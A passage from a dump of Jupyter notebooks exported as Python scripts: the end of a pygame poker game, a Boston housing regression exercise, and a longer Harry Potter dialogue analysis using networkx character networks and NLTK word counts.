event.button == 1:\n #create a rectangle for the mouse click and for each card. check for intersection\n mouseRect = pygame.Rect(event.pos, (1,1))\n for index in range(len(poker.playerHand)):\t\t\t\t\t\t\t\t\t#this minus thirty fixes a minor bug, do not remove\n cardRect = pygame.Rect(cardLoc[index], (int(scale * cardSize[0]), int(scale * cardSize[1])))\n if cardRect.colliderect(mouseRect):\n poker.playerHand[index].selected = not poker.playerHand[index].selected\n break\n\n #check if we clicked the replaceButton\n if mouseRect.colliderect(buttonRect):\n poker.replace(poker.playerHand)\n poker.computerReplace()\n round += 1\n if round == 2:\n# state += 1\n# results_init()\n return\n if mouseRect.colliderect(exitButtonRectOutline):\n systemExit = True;\n return\n\n \n #display background\t\n SCREEN.blit(background, (-320,-100))\n\n #display the player's hand\n for index in range(len(poker.playerHand)):\n if not poker.playerHand[index].selected:\n SCREEN.blit(images[str(poker.playerHand[index])], cardLoc[index])\n else:\n SCREEN.blit(cardBack, cardLoc[index])\n\n SCREEN.blit(exitButton, exitButtonLoc)\n\n #display the text\n# SCREEN.blit(youText, youLoc)\n# pygame.draw.rect(SCREEN, RED, buttonRect)\n# pygame.draw.rect(SCREEN, BLACK, buttonRectOutline, 2)\n# SCREEN.blit(replaceButton, buttonLoc)\n\n #display the scoreboard\n# display_scoreboard()\n\n pygame.display.flip()\n \ndef play_init():\n\n\n #setup the locations for each card in the hand\n x = 4.5 * int(scale * cardSize[0])\n youLoc = (x - 150, buffer)\n\n for index in range(len(poker.playerHand)):\n cardLoc[index] = (x, buffer)\n x += int(scale * cardSize[0])+10\n\n #setup the text that will be printed to the screen\n font = pygame.font.Font('font/IndianPoker.ttf', 25)\n font.set_bold(True)\n font2 = pygame.font.Font('font/CoffeeTin.ttf', 60)\n youText = font.render(\"Your Hand\", 1, BLACK)\n youSize = font.size(\"Your Hand\")\n\n youLoc = (cardLoc[0][0],cardLoc[0][1] - 30)#(youLoc[0], buffer + scale * cardSize[1]/2 - youSize[1]/2)\n\n replaceButton = font2.render(\" Replace \", 1, BLACK)\n buttonSize =font2.size(\" Replace \")\n\n buttonLoc = (x + 30, buffer + scale * cardSize[1]/2 - buttonSize[1]/2)\n\n buttonRect = pygame.Rect(buttonLoc, buttonSize)\n buttonRectOutline = pygame.Rect(buttonLoc, buttonSize)\n \ndef start_up():\n global state\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit();sys.exit()\n\n #when the user clicks the start button, change to the playing state\n elif event.type == pygame.MOUSEBUTTONDOWN:\n if event.button == 1:\n mouseRect = pygame.Rect(event.pos, (1,1))\n if mouseRect.colliderect(buttonRect):\n state+=1\n play_init()\n return\n\n #draw background\n SCREEN.blit(background, (-320,-100))\n\n #draw welcome text\n SCREEN.blit(startText, startLoc)\n\n #draw the start button\n pygame.draw.rect(SCREEN, RED, buttonRect)\n pygame.draw.rect(SCREEN, BLACK, buttonRectOutline, 2)\n SCREEN.blit(startButton, buttonLoc)\n\n pygame.display.flip()\n \n#############################################################\nif __name__ == \"__main__\":\n\n\tMyclock = pygame.time.Clock()\n\tstart()\n# \timage_path = ('img/'+str() + '' + '.png')\n# \tx = 4.5 * int(scale * cardSize[0])\n# \tyouLoc = (x - 150, buffer)\n# \tloc = (x,buffer)\n\n\twhile 1:\n# \t\tSCREEN.blit(pygame.image.load(image_path).convert_alpha(), loc)\n# \t\tpygame.display.flip()\n\t\tif systemExit==True:\n\t\t\tpygame.quit();\n\t\t\tbreak\n\t\tif state == 0:\n\t\t\tstart_up()\n\t\telif state == 1:\n\t\t\tplay()\n# \t\telif state == 2:\n# \t\t\tresults()\n# \t\telif state == 3:\n# \t\t\tnew_game()\n\t\tMyclock.tick(64)\n\ntime.sleep(0.5)\nexit()\n# -\n\n\n\n\n","repo_name":"guptaronav/poker","sub_path":"5_CardDisplay.ipynb","file_name":"5_CardDisplay.ipynb","file_ext":"py","file_size_in_byte":6833,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-jupyter-script","pt":"1"} +{"seq_id":"8561299085","text":"# %matplotlib inline\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\nfrom sklearn.datasets import load_boston\n\nboston_data = load_boston()\n\nboston = pd.DataFrame(boston_data.data,\n columns = boston_data.feature_names)\n\nboston.head()\n\nboston['MEDV'] = boston_data.target\n\n# ### 選取和房價的相關係數大於0.5的變項\n\nboston.corr().round(2)\n\n# ### 以房間數目,師生比,(最低)人口數作為變項來預估\n\nX = boston.loc[:, [\"RM\",\"PTRATIO\",\"LSTAT\"]].values\nY = boston.MEDV\n\nX[:3]\n\nfrom sklearn.model_selection import train_test_split\n\nfrom sklearn.linear_model import LinearRegression\n\nx_train,x_test,y_train,y_test = train_test_split(X, Y,\n test_size = 0.2,\n random_state = 0)\n\n# ### 1.開一個數據學習機\n\nmodel = LinearRegression()\n\n# ### 2.訓練\n\nmodel.fit(x_train,y_train)\n\n# ### 3.預測\n\ny_predict = model.predict(x_test)\n\nplt.scatter(y_test,y_predict)\n\nimport seaborn as sns\n\nsns.set() #讓圖變高級\n\nplt.scatter(y_test, y_predict)\nplt.xlim(0,55)\nplt.ylim(0,55)\nplt.plot([0,55],[0,55],'r')\nplt.xlabel('Real MEDV')\nplt.ylabel('Predicted MEDV')\n\n# ## 結論:\n\n# ### 在上面的圖表中,水平軸代表真實房價,垂直軸代表預估房價,因此對角線上的點表示預估值與真實的值相同,線以上的點代表房價被高估,線以下則是低估\n#\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"eternity0928/My-python-work","sub_path":".ipynb_checkpoints/第10週作業--波士頓房價分析-checkpoint.ipynb","file_name":"第10週作業--波士頓房價分析-checkpoint.ipynb","file_ext":"py","file_size_in_byte":1466,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"1"} +{"seq_id":"74478002912","text":"# ## Harry Potter Movie Analysis\n#\n# Alice Ding, Shoshana Farber, Christian Uriostegui\n#\n# ### Overview\n#\n# Using [this](https://www.kaggle.com/datasets/maricinnamon/harry-potter-movies-dataset) collection of .csvs on Kaggle that has information from all eight Harry Potter movies, we plan on creating a character relationship network to analyze the strength between these connections by finding how many scenes each character shares with another. We will also be processing the dialogue to extract common themes and sentiment. \n#\n# For this project, we will be focusing on the `Dialogue.csv` file for most of this analysis, however we will be pulling information from several of the other files as well as complementary data.\n#\n# ### Importing the Data\n#\n# To start, we've uploaded the data into our GitHub and will be pulling it in using pandas.\n\n# +\nimport pandas as pd\nimport warnings\nwarnings.filterwarnings('ignore')\n\ndialogue = pd.read_csv('https://github.com/addsding/cuny-data620/raw/main/final_proj/Harry_Potter_Movies/Dialogue.csv', encoding = 'ISO-8859-1')\ndialogue.head()\n# -\n\n# From what we can see above, the `Chapter ID`, `Place ID`, and `Character ID` use ints to represent places and characters respectively. For readability, we will replace these IDs with their actual values; these can be found in the `Chapters.csv`, `Places.csv`, and `Characters.csv` files. We'll also be including other data from a few of the other tables as well to create a fuller dataset.\n\n# +\nchapters = pd.read_csv('https://github.com/addsding/cuny-data620/raw/main/final_proj/Harry_Potter_Movies/Chapters.csv', encoding = 'ISO-8859-1')\nplaces = pd.read_csv('https://github.com/addsding/cuny-data620/raw/main/final_proj/Harry_Potter_Movies/Places.csv')\ncharacters = pd.read_csv('https://github.com/addsding/cuny-data620/raw/main/final_proj/Harry_Potter_Movies/Characters.csv', encoding = 'ISO-8859-1')\nmovies = pd.read_csv('https://github.com/addsding/cuny-data620/raw/main/final_proj/Harry_Potter_Movies/Movies.csv')\n\ndialogue = dialogue.merge(chapters, on='Chapter ID', how='left')\ndialogue = dialogue.merge(characters, on='Character ID', how='left')\ndialogue = dialogue.merge(places, on='Place ID', how='left')\ndialogue = dialogue.merge(movies, on='Movie ID', how='left')\ndialogue.head()\n# -\n\n# We've appended all of the information now -- it looks like a very wide table now though. Let's select the most relevant fields and remove redundant/unnecessary ones.\n\n# +\nfinal_dialogue = dialogue[['Dialogue ID', 'Movie Title', 'Chapter ID', 'Chapter Name', 'Place Name', 'Place Category', 'Character Name', 'House', 'Dialogue']]\nfinal_dialogue = final_dialogue.rename(columns={'Dialogue ID': 'dialogue_id', \n 'Movie Title': 'movie_title', \n 'Chapter ID': 'chapter_id',\n 'Chapter Name': 'chapter_name',\n 'Place Name': 'place_name',\n 'Place Category': 'place_category', \n 'Character Name': 'character_name', \n 'House': 'house', \n 'Dialogue': 'dialogue'})\n\nfinal_dialogue.head()\n# -\n\n# Our final dataframe is comprised of the following information:\n#\n# - `dialogue_id`: ID of each line spoken by a character; primary key\n# - `movie_title`: Movie that this dialogue takes place in\n# - `chapter_id`: Chapter ID that this dialogue takes place in\n# - `chapter_name`: Chapter that this dialogue takes place in\n# - `place_name`: Where the character is located when speaking this dialogue\n# - `place_category`: Category of the place, can be:\n# - Hogwarts\n# - Dwellings\n# - Other Magical Locations\n# - Diagon Alley\n# - Hogsmeade\n# - `character_name`: Character who said this dialogue\n# - `dialogue`: What the character said\n#\n# What does this data look like?\n#\n# ### Exploration\n\n# How much dialogue happens in each movie?\n\nfinal_dialogue['movie_title'].value_counts()\n\n# Order of the Phoenix leads the charge at 1.1k lines of dialogue while Deathly Hallows Part 2 only has 712 -- very interesting range.\n#\n# What about locations?\n\nfinal_dialogue['place_category'].value_counts()\n\n# In terms of categories of location, it's not surprising that Hogwarts has the most dialogue in terms of location; a majority of the books occur at the school. \n#\n# What do counts look like by character?\n\nfinal_dialogue['character_name'].value_counts().head()\n\n# For the top 5 characters, these aren't too surprising -- Harry having more than double the amount of lines as the next highest (Ron) is more extreme than we would've thought, but it otherwise it isn't too surprising. The top three are the main friend group with Dumbledore and Hagrid as close allies, so it makes sense that these characters would have the most dialogue.\n#\n# Now that we have a sense of the data, we can get into network creation!\n#\n# ### Prepping the Data\n#\n# We'll be counting a connection as a shared chapter and place between characters and we can use different values for the weights: either the count of scenes shared, or dialogue spoken between characters. For example, the first scene of the first movie is McGonagall and Dumbledore speaking to each other; this would count as one scene together and however much dialogue they shared, that would count as amount of lines spoken to one another.\n#\n# To do this, we'll have to create a data frame with the following columns:\n#\n# - `character1`: First character involved in a scene/place combo\n# - `character2`: Second character involved in a scene/place combo\n# - `scenes`: Shared scene count\n# - `dialogue`: Count of lines spoken between these characters\n\n# +\n# Step 1: Group by chapter and place to get a list of characters involved in each interaction\nby_chapter_place = final_dialogue[['chapter_id', 'place_name', 'character_name', 'dialogue_id']].groupby(['chapter_id', 'place_name', 'character_name']).nunique().reset_index()\nby_chapter_place.rename(columns={'dialogue_id': 'dialogue', 'character_name': 'character1'}, inplace=True)\n\nby_chapter_place.head(20)\n# -\n\n# From this, we would want to extract that from the first chapter, Dumbledore, McGonagall and Hagrid are connected with a scene weight of 1 and a dialogue weight of 9, 5, and 2 respectively for each character. To do this, we will first get a combination of chapter, place, and characters in that scene before then merging these two dataframes to get all of the information.\n\n# +\n# Step 2: Create a dataframe with all unique combinations of chapter_id and place_name involved\nunique_combinations = pd.DataFrame(final_dialogue[['chapter_id', 'place_name']].drop_duplicates())\nunique_combinations['key'] = 1 # use this as a dummy column for merging\n\nunique_combinations.head()\n\n# +\n# Step 3: Merge the two dataframes to combine the information\ncombined_df = pd.merge(unique_combinations, by_chapter_place, on=['chapter_id', 'place_name'], how='left') # merge both dataframes\ncombined_df = pd.merge(combined_df, by_chapter_place, on=['chapter_id', 'place_name'], how='left')\ncombined_df = combined_df[combined_df['character1_x'] != combined_df['character1_y']] # exclude self-combinations\ncombined_df['scenes'] = combined_df.groupby(['chapter_id', 'place_name'])['character1_x'].transform('count') # add scenes column\ncombined_df = combined_df.groupby(['chapter_id', 'place_name', 'character1_x', 'character1_y']).agg({'scenes': 'count', 'dialogue_x': 'sum'}).reset_index()\ncombined_df.rename(columns={'character1_x': 'character1', 'character1_y': 'character2', 'dialogue_x': 'dialogue'}, inplace=True)\ncombined_df = combined_df[['character1', 'character2', 'scenes', 'dialogue']]\n\ncombined_df.head()\n# -\n\n# Great! Last step is just to aggregate it so we get the summation of scenes and dialogue for each of the combinations.\n\nfinal_df = combined_df.groupby(['character1', 'character2']).agg({'scenes': 'sum', 'dialogue': 'sum'}).reset_index()\nfinal_df.head()\n\n# With this set up, we can now try making the graph!\n#\n# ### Network Creation\n#\n# We'll start with just looking at the network by scene count among characters.\n\n# +\nimport numpy as np\nimport networkx as nx\nimport matplotlib as mpl\nfrom networkx.algorithms import bipartite\nimport matplotlib.pyplot as plt\n\nnp.random.seed(123)\n\n# initialize empty graph object\nscene_network = nx.Graph()\n\n# add nodes, edges, and weights\nscene_network = nx.from_pandas_edgelist(final_df, 'character1', 'character2', edge_attr=True)\n\nweights = [edata['scenes'] for f, t, edata in scene_network.edges(data = True)]\n\nfig, ax = plt.subplots(figsize=(15, 10))\npos = nx.spring_layout(scene_network, seed = 2345)\nnx.draw_networkx(scene_network, pos, width = weights, edge_color = weights, with_labels=True)\nplt.title(\"Harry Potter Scenes Network Graph\")\nplt.axis('off')\n\nnorm = mpl.colors.Normalize(vmin=min(weights), vmax=max(weights))\ncbar = plt.colorbar(mpl.cm.ScalarMappable(norm=norm, cmap=plt.cm.viridis), ax=ax, orientation='horizontal', pad=0.01)\ncbar.set_label('Number of Scenes')\n\nplt.show()\n# -\n\n# Very interesting to look at -- what if we tried using dialogue as weight?\n\n# +\nweights = [edata['dialogue'] for f, t, edata in scene_network.edges(data = True)]\n\nfig, ax = plt.subplots(figsize=(15, 10))\nnx.draw_networkx(scene_network, pos, width = weights, edge_color = weights, with_labels=True)\nplt.title(\"Harry Potter Scenes Network Graph\")\nplt.axis('off')\n\n# Create a colorbar\nnorm = mpl.colors.Normalize(vmin=min(weights), vmax=max(weights))\ncbar = plt.colorbar(mpl.cm.ScalarMappable(norm=norm, cmap=plt.cm.viridis), ax=ax, orientation='horizontal', pad=0.01)\ncbar.set_label('Number of Dialogues')\n\nplt.show()\n# -\n\n# Definitely a lot more going on -- let's try to clean these graphs up!\n#\n# ### Network Analysis\n\n# Looking at the different subsets created from our `final_dialogue` data frame, moving forward, it makes the sense to use the `by_chapter_place` dataframe (**see below**) for network analysis. The `final_df` dataframe used previously is not easily separated into nodes, edges and weight because there are two character columns (*'character1'*, *'character2'*). Having one column for the characters like we see in `by_chapter_place` will facilitate looking at projections and further manipulating the data.\n#\n# \n#\n# In this section, we will examine the characters that have scenes/chapters in common as well as dialogue. This will tell us which characters have the most presence in the movie, and measures the influence of their network. In addition, we will be performing and examining centrality measures. \n\n# +\n# Create an empty graph\nB = nx.Graph()\n\n# Add nodes with the node attribute \"bipartite\"\nB.add_nodes_from(by_chapter_place['chapter_id'].unique(), bipartite=0)\nB.add_nodes_from(by_chapter_place['character1'].unique(), bipartite=1)\n\n# Add edges only between nodes of opposite node sets\nB.add_weighted_edges_from(\n [(row['character1'], row['chapter_id'], row['dialogue']) for idx, row in by_chapter_place.iterrows()]\n)\n\n# Calculate edge weights\nweights = [edata['weight'] for f, t, edata in B.edges(data=True)]\n\n# Separate by group\nchapter_nodes = {n for n, d in B.nodes(data=True) if d[\"bipartite\"]==0}\ncharacter_nodes = set(B) - chapter_nodes\n\n# Create a spring layout for the bipartite graph B\npos_B = nx.spring_layout(B, seed = 30)\n\n# Plot the bipartite graph using the spring layout with node labels\nplt.figure(figsize=(15, 10))\n\n# Draw nodes and edges separately in order to color nodes differently \n# based on the 'bipartite' attribute (0: chapters, 1: characters)\nnx.draw_networkx_nodes(B, pos_B, nodelist=chapter_nodes, node_color='blue', node_size=300, alpha=0.6)\nnx.draw_networkx_nodes(B, pos_B, nodelist=character_nodes, node_color='red', node_size=300, alpha=0.6)\nnx.draw_networkx_edges(B, pos_B, width=weights, alpha=0.4)\n\n# Draw the node labels\nnx.draw_networkx_labels(B, pos_B, font_size=8)\n\nplt.title(\"Character and Chapter Bipartite Graph\")\nplt.show()\n# -\n\n# Now that we created our bipartite graph object, we will perform the following functions and place them in a dataframe:\n# - **bipartite.projected_graph**: Stored in `C_pg`, this will create an edge if two characters share atleast a scene together. This look at the number of unique characters that a character has shared a scene with.\n#
*For ex: if character A has a unweighted projection degree of 40, it means they have shared a scene with atleast 40 unique characters.* \n# - **bipartite.weighted_projected_graph**: Stored in `C_wpg`, this will create an edge that adds the total number of scenes that a character has with others. \n#
*For ex: if Harry Potter has 2 scenes with Hermoine and 3 with Ron, Harry will have a weighted projection degree of 5.* \n\n# +\n# Project bipartite graph onto character nodes\nC_pg = bipartite.projected_graph(B, character_nodes)\n\n# Project bipartite graph onto character nodes keeping number of co-occurrences (i.e., shared chapters)\n# The degree computed is weighted and counts the total number of shared chapters\nC_wpg = bipartite.weighted_projected_graph(B, character_nodes)\n\n# Initializing a list; this will hold a list of lists\n# It will look like: [[name, # of friends, # of shared chapters], ...]\ncharacters_chapters = []\n\nfor c in character_nodes:\n # For each character, append [name, # of connected characters, # of shared chapters] into characters_chapters\n characters_chapters.append([c, C_pg.degree(c), C_wpg.degree(c, weight = 'weight')])\n\n# Create the dataframe with the data in characters_chapters\ncharacters_df = pd.DataFrame(characters_chapters, columns = ['name', 'connected_characters', 'shared_chapters'])\n\n# Output the newly made dataframe sorted by the number of connected characters and shared chapters\ncharacters_df.sort_values(by = ['connected_characters', 'shared_chapters'], ascending = False)\n\n# -\n\n# Looking back at the characters with the most dialogue overall (**see below**), we can see that four of them make an appearance here in the top five of this data frame: **Harry**, **Ron**, **Hermoine**, and **Hagrid**.\n#\n# \n#\n# **Harry Potter** has had at least a scene with 161 of the 166 characters in the films and a total of 1173 shared scenes with different charactors. It makes sense given that he is the main protagonist of the story. Similarly, because **Ron**, **Hermoine** and **Hagrid** are close alies, we expected them to be at the top of this list. We were surprised to see **Neville**, instead of **Dumbledore**; an explaination as to why **Dumbledore** interacts with less unique characters could be because of his high status within the Hogwarts school and key events in the story.\n\ncharacters_df.sort_values(by = ['connected_characters', 'shared_chapters'], ascending = False).head(30)\n\nx=[len(c) for c in nx.connected_components(C_wpg)]\nplt.hist(x)\n\n\n# This tells us that our graph has a single component of around 166. This tell us that all the nodes are connected together.\n#\n# Below we will utilize the `island_method` to reduce the complexity of the graph and give us different connected components based on different weights or strength of co-occurance of characters between scenes/chapters.\n#\n#\n\n# +\n# SNA function for trimming edges\ndef trim_edges(g, weight=1):\n g2 = nx.Graph()\n edges = []\n\n for f, to, edata in g.edges(data=True):\n if edata['weight'] > weight:\n edges.append([f, to, edata['weight']])\n \n g2.add_weighted_edges_from(edges)\n return g2\n\n# SNA function for island method\ndef island_method(g, iterations = 5):\n weights = [edata['weight'] for f, to, edata in g.edges(data=True)]\n\n mn = int(min(weights))\n mx = int(max(weights))\n step = int((mx-mn)/iterations)\n\n return[[threshold, trim_edges(g, threshold)] for threshold in range(mn, mx, step)]\n\n\n# +\ncharacter_islands = island_method(C_wpg)\n\nfor i in character_islands:\n print(i[0], nx.number_of_nodes(i[1]), nx.number_connected_components(i[1]))\n# -\n\n# The `island_method` function generated islands of five different weights. These represent the relationship between characters based on the number of chapters they share. So for example, the first line tells us there are 111 characters that have atleast one character connection in a chapter and forms a single connected component. Below we will see the characters that meet each threshold.\n\n# +\nplt.figure(figsize=(15,10))\n\nnx.draw_networkx(character_islands[0][1], pos_B, node_size=300, font_size=10, node_color='lightblue', edge_color='grey')\n\nplt.title(\"Character Island (Threshold of 1)\")\nplt.axis(\"off\")\nplt.show()\n# -\n\n# Here, we can see characters that have at least one character connection.\n\n# +\nplt.figure(figsize=(15,5))\nnx.draw_networkx(character_islands[1][1], pos_B, node_size=300, font_size=10, node_color='lightblue', edge_color='grey')\n\nplt.title(\"Character Island (Threshold of 29)\")\nplt.axis(\"off\")\nplt.show()\n# -\n\n# In the threshold of 29 shared chapters, we can see **Harry**, **Ron**, and **Hermoine** at the center, alongside other supporting instructors at the school like **Dumbledore** and **Prof McGonagall**. We can also see their classmate **Neville Longbottom** in the chart.\n\n# +\nfig, axes = plt.subplots(nrows=4, figsize=(5, 10))\n\nislands_to_print = [2, 3, 4, 5] # Islands to be printed\n\nfor i, ax in enumerate(axes):\n island_idx = islands_to_print[i]\n island, graph = character_islands[island_idx]\n \n nx.draw_networkx(graph, pos_B, node_size=300, font_size=10, node_color='lightblue', edge_color='grey', ax=ax)\n ax.set_title(f\"Character Island (Threshold of {island})\")\n ax.axis(\"off\")\n\nplt.tight_layout()\nplt.show()\n\n\n# -\n\n# In the final island threshold of 57, 85, 113 and 141, we can see the golden trio of **Harry**, **Ron** and **Hermoine** in most of them.\n\n# +\n# function where you enter a graph and it creates a dataframe of centrality\ndef centrality(graph):\n # calculate each of the values for each node\n degree = nx.degree(graph)\n degree_weighted = nx.degree(graph, weight = 'weight')\n degree_c = nx.degree_centrality(graph)\n between_c = nx.betweenness_centrality(graph)\n closeness_c = nx.closeness_centrality(graph)\n eigen_c = nx.eigenvector_centrality(graph, weight = 'weight') \n\n # create a list for each node with all the data points\n data = [[name\n , degree[name]\n , degree_weighted[name]\n , round(degree_c[name], 3)\n , round(between_c[name], 3)\n , round(closeness_c[name], 3)\n , round(eigen_c[name], 3)] \n for name in graph.nodes()]\n \n # turn this into a dataframe\n centrality_df = pd.DataFrame(data\n , columns = ['name', 'degree', 'weighted_degree', 'degree centrality'\n , 'betweenness', 'closeness', 'eigenvector'])\n \n # return the dataframe\n return centrality_df\n\ncentrality(C_wpg).sort_values(by = ['degree', 'eigenvector'], ascending = False).head(20)\n# -\n\n# The `centrality` function creates a dataframe which contains various centrality measure including some of that we saw before:\n# - `name`: This is the name of the node or character\n# - `degree`: The number of unique characters that the person has shared a chapter with\n# - `weight_degree`: The total chapters that a character shares with other characters\n# - `degree centrality`The proportion of other characters a character shares a chapter with\n# - `betweenness`: The extent to which a character connects other characters who do not share chapters directly\n# - `closeness`: How close a character is to all other characters in terms of shared chapters\n# - `eigenvector`: This tell us the influence a character has based on who they connect with\n#\n# **Harry** scores the highest in all the measures. He shared shares chapters with almost all the characters in the movies, has a large number of chapters with other charcters, is highly connected with other well-connected individuals and serves as a bridge between characters who do not directly share chapters. **Ron** and **Hermoine** score high similarly. **Neville** and **Hagrid's** have a lower weighted degree, and eigenvector centrality - which means they are less often a bridge between characters and are not as connected to influential characters. Though they scored lower compared to the trio, they still score high relative to the other characters.\n\n# +\n# Project relationships onto the character nodes\n\n# create a list of top five characters\ntop_five_characters = ['Harry Potter', 'Ron Weasley', 'Hermione Granger', 'Neville Longbottom', 'Rubeus Hagrid'] # replace with your actual top five\n\n# assign colors to anyone on the llist\ncolors = ['orange' if node in top_five_characters else 'lightblue' for node in C_wpg.nodes()] # replace 'red' and 'lightblue' with your desired colors\n\nplt.figure(figsize = (20, 15))\nweights = [edata['weight'] for f, t, edata in C_wpg.edges(data = True)]\ncharplot = nx.draw_networkx(C_wpg, pos, node_color=colors, width=weights, edge_color=weights, font_size=15)\n\n# -\n\n# Here, we get an alternative view of our bi-partite graph from earlier. This time instead we are plotting the weighted projected graph `C_wpg`. Each character is represented by the nodes, an edge between nodes in this chart, indicates that the characters share atleast a chapter. The top five characters from the `centrality_df` are highlighted in orange - which we can see in the center of the graph.\n\nplt.hist(weights)\n\n\n# In this histogram ,we can see the distribution of the edge weights in our graph. This shows us the amount of scenes shared among characters. We can see that most pairs of characters share between 1 and 3 chapters together.\n\n# function to filter our graph\ndef filter_graph(G, threshold):\n # initialize new graph\n new_graph = nx.Graph()\n # for each edge\n for edge in G.edges(data = True):\n # find the to and from nodes\n f = edge[0]\n to = edge[1]\n # find the weight\n w = edge[2]['weight']\n # if this edge's weight is above or equal to the given threshold\n if w >= threshold:\n # add this edge to the new graph\n new_graph.add_edge(f, to, weight = w)\n # return the new graph comprised of edges that pass our threshold\n return new_graph\n\n\nplt.figure(figsize = (20, 10))\nfiltered = filter_graph(C_wpg, 5)\nweights = [edata['weight'] for f, t, edata in filtered.edges(data = True)]\nnx.draw_networkx(filtered, pos, width=weights, edge_color = weights)\n\n# When we filter for characters that share atleast five chapters together, we see other interesting characters outside of the main protagonists, such as the central villians in the story like **Voldemort**, and **Bellatrix Lestrange**.\n\n# +\nChap_wpg = bipartite.weighted_projected_graph(B, chapter_nodes)\npos_chap = nx.spring_layout(Chap_wpg, seed=42) # Compute positions for Chap_wpg\nweights_chap = [edata['weight'] for f, t, edata in Chap_wpg.edges(data=True)] # Compute weights for Chap_wpg\n\nplt.figure(figsize = (10, 5))\nnx.draw_networkx(Chap_wpg, pos_chap, width=weights_chap, edge_color=weights_chap)\n\n# -\n\ncentrality(Chap_wpg).sort_values(by = ['degree', 'eigenvector'], ascending = False).head(20)\n\n# The setting of four out of the top five chapters takes place in Hogwarts school. The location and chapters are 255 (The Boathouse - Hogwarts), 82 (Griffindor Commonn Room - Hogwarts), 19 (Great Hall - Hogwarts), and 42 (the Corridors - Hogwarts). It makes sense given that a majority of the characters and important story events are connected to the school. All the locations in the top five have a high degree centrality which means they have share connections in almost all other chapters. The weighted degree vary slightly which means they don't share the same number of characters with other chapters. The eigenvector values are high which means these chapters are connected to other well-connected chapters.\n\n# ### Sentiment/Lexical Analysis\n#\n# Now that we know who the main/most connected characters are, let's see what they talk about.\n#\n# In order to do the word analysis, we need to first tokenize the text so that we can look at their frequencies in the dialogue. To do this, we will use the **NLTK** library.\n\n# +\nimport nltk\nimport re\n\n# clean some of the lines and remove possessives\ndef clean_line(line):\n new_line = re.sub('\\.\\.\\.', ' ', line)\n new_line = re.sub('\\'s', '', new_line)\n\n if 'You-Know-Who' not in new_line:\n new_line = new_line.replace('-', ' ')\n \n return new_line\n\nfinal_dialogue['dialogue'] = final_dialogue['dialogue'].apply(clean_line)\n\n\n# -\n\n# First, let's take a look at the frequency of one-grams in the text. \n\n# +\ndef tokenizer(text):\n tokens = nltk.WordPunctTokenizer().tokenize(text.lower())\n return tokens\n\nfinal_dialogue['tokenized_dialogue'] = final_dialogue['dialogue'].apply(tokenizer)\n\nfinal_dialogue.head()\n# -\n\n# Now let's remove punctuation and stopwords from the tokenized text.\n\n# +\n# get stopwords from NLTK\nfrom nltk.corpus import stopwords\nstopwords = stopwords.words('english')\nstopwords.extend(['i\\'m', 'i\\'ll', 'i\\'ve'])\n\n# get a list of punctuation\nfrom string import punctuation\npunct = list(punctuation)\n\ndef unique_tokens(list):\n unique = [token.lower() for token in list if token not in punct and token not in stopwords]\n return(unique)\n\nfinal_dialogue['tokenized_dialogue'] = final_dialogue['tokenized_dialogue'].apply(unique_tokens)\n\nfinal_dialogue.head()\n\n\n# -\n\n# Now let's create a list of all the tokenized words and look at the frequencies which they appear in the text.\n\n# +\ndef combine_tokens(column):\n combined_tokens = []\n\n for token_list in list(column):\n for word in token_list:\n combined_tokens.append(word)\n\n return combined_tokens\n\nfull_tokens = combine_tokens(final_dialogue['tokenized_dialogue'])\n\nfull_tokens[:10]\n# -\n\n# **How many total unique words are in the dialogue?**\n\nlen(full_tokens)\n\n# There are 37,015 unique words in the dialogue. \n#\n# **Which words account for approximately 50% of the words in the dialogue?**\n\n# +\nfreq_dist = nltk.FreqDist(full_tokens)\n\n# initiate counter\ncount = 0\n# initiate total number of words\ntotal = 0\n\nfor word, freq in freq_dist.most_common():\n total += freq\n if total <= (len(full_tokens)/2): \n count += 1 # add to counter only if the number of words is still less than\n else:\n break\n\nprint(str(count), \"words make up approximately half the corpus.\")\n\n# -\n\nplt.figure(figsize=(30, 15))\nfreq_dist.plot(241, cumulative=True)\nplt.show()\n\n# These words account for approximately 50% of the entire dialogue. \n#\n# Let's take a look at the top 50 one-grams. \n\n# +\ntop_50 = freq_dist.most_common(50)\n\ntop_50_df = pd.DataFrame(top_50, columns=['word', 'count']).sort_values(by='count')\n\nplt.figure(figsize=(15,10))\nplt.barh(top_50_df['word'], top_50_df['count'])\n\n# setting label of y-axis\nplt.ylabel(\"Word\")\n# setting label of x-axis\nplt.xlabel(\"Frequency\")\nplt.title(\"Top 50 Words\")\nplt.show()\n# -\n\n#\n# Not surprisingly, Harry, Dumbledore, Ron, Hermione, and Hagrid appear within the top 30. Harry, Ron, and Hermione, being the golden trio, are the main characters of the book, and Dumbledore and Hagrid also appeared in the top 5 characters with the most dialogue. \n#\n# Voldemort's name also sticks out within the top 50. Defeating Voldemort is a main theme of the book as well, so it is not surprising that his name should appear often in the text. \n#\n# What is slightly surprising is the appearance of Dobby's name also within the top 50, as he is more of a secondary character. How many times does Dobby appear in the text?\n\n# +\nfrom nltk.text import Text\n\nfull_text = nltk.Text(full_tokens)\n\nfull_text.concordance('dobby', lines = 10)\n# -\n\n# Dobby is mentioned in the dialogue 94 times. We can see from the outputted text that, even though Dobby may not appear so often in scenes, he refers to himself in the third person and often more than once in a sentence so this would account for the fact that he is mentioned many times. \n#\n# **How many times is Voldemort mentioned in the dialogue?**\n\nfull_text.concordance('voldemort', lines = 10)\n\n# Interestingly, Voldemort and Dobby are mentioned almost the same amount of times in the dialogue. \n#\n# A lot of times Voldemort is referred to as \"The Dark Lord\" or \"You-Know-Who.\" He is also sometimes called by his real name, Tom Riddle. **How many times is he mentioned without the moniker of \"Voldemort\"?**\n\n# +\nfull_dialogue = \"\"\n\nfor line in final_dialogue['dialogue']:\n full_dialogue += line + \" \"\n\ndark_lord = full_dialogue.lower().count(\"the dark lord\")\nyou_know_who = full_dialogue.lower().count(\"you-know-who\")\ntom_riddle = full_dialogue.lower().count(\"tom riddle\")\n\nprint(\"The Dark Lord is mentioned\", dark_lord, \"times. You-Know-Who is mentioned\", you_know_who, \"times. Tom Riddle is mentioned\", tom_riddle, \"times.\")\n# -\n\n# How does this vary from each movie?\n\n# +\nmovies = list(final_dialogue['movie_title'].unique())\n\nvoldy_mentions = {}\n\nfor movie in movies:\n movie_dialogue = ''\n\n movie_df = 